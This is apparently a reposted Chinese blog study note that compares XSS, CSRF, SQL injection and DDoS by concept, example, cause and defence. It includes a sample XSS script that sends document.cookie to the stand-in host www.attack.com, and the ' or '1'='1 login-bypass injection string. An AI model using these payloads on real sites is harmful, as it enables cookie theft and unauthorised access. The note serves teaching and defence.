常见web攻击手段以及防御方式总结笔记

攻击方式 XSS CSRF SQL注入 DDOS
概念 Cross-Site Scripting (XSS),跨站脚本攻击,是一种注入攻击。就是在你信任的网站上注入一个JS脚本,然后你打开这个网站的时候会自动执行这个脚本,从而将你浏览器的cookie、token等信息发送到攻击者那里 Cross-site request forgery (CSRF)跨站请求伪造,是一种利用受害者身份向其访问过的网站A发恶意请求 将sql命令伪装成正常的http请求参数,传递到服务器,服务器执行sql命令从而进行攻击 Distributed Denial of Service,分布式拒绝服务攻击,就是DOS攻击的升级版,简单粗暴,直接拿许多机器向你网站发送请求,占用你网站处理资源,从而使得网站瘫痪。
例子 比如某博客网站上,有个博主写了个博客包含内容<script>window.open("www.attack.com?param="document.cookie)</script>,当我们浏览这篇博客的时候,浏览器会加载这个脚本,然后将我们的cookie发送到www.attack.com 比如用户刚访问过某个银行网站,然后又点击了某个非法网站,该网站加载过程中利用用户浏览器cookie向该银行网站发起转账请求 'or '1'='1是最常见的一种SQL注入攻击,比如登陆某网站输入真实用户名以及'or '1’='1作为密码,服务器本来要执行select * from user where username=''and passwd=''这样的sql,利用参数进行替换,结果变成select * from user where username='name'and passwd=''or '1'='1',这样就通过验证从而成功登陆 cc攻击:服务器最高承受1个G流量,攻击者使用2个G流量模仿正常用户不断访问这个网站
SYN Flood:攻击者伪造大量ip,向服务器发送TCP建立连接的请求,服务器收不到第三次握手消息,会重试发送SYN,导致服务器维护大量的半连接等待列表导致瘫痪
被攻击的原因 用户输入的数据变成代码,比如上面的<script></script>只是字符串,却变成了代码 用户本地存储cookie,攻击者利用用户的cookie进行认证,然后伪造用户的请求 利用sql语句作为参数,服务器进行拼接后形成攻击型SQL语句,使得数据库遭到攻击 服务器带宽不足,挡不住攻击者的流量
防御方法 将输入的特殊字符进行转义编码处理 1. 不要使用cookie验证用户身份,可以使用token来验证;
2. 通过http Referer来校验用户访问的上一个网站是否是指定网站
1. 使用预编译的SQL执行,因为编译好的SQL执行逻辑定了,其替换的内容只是当作字符串处理。
2. 对参数进行转义
3.数据库中的密码不应该写成明文的,应该加密存储
没啥好办法,主要还是烧钱:增加带宽
购买高防服务器
购买CDN进行负载均衡

参考

  1. https://www.cnblogs.com/-new/p/7135814.html
  2. https://owasp.org/www-community/attacks/xss/

猜你喜欢

转载自blog.csdn.net/Fei20140908/article/details/113785666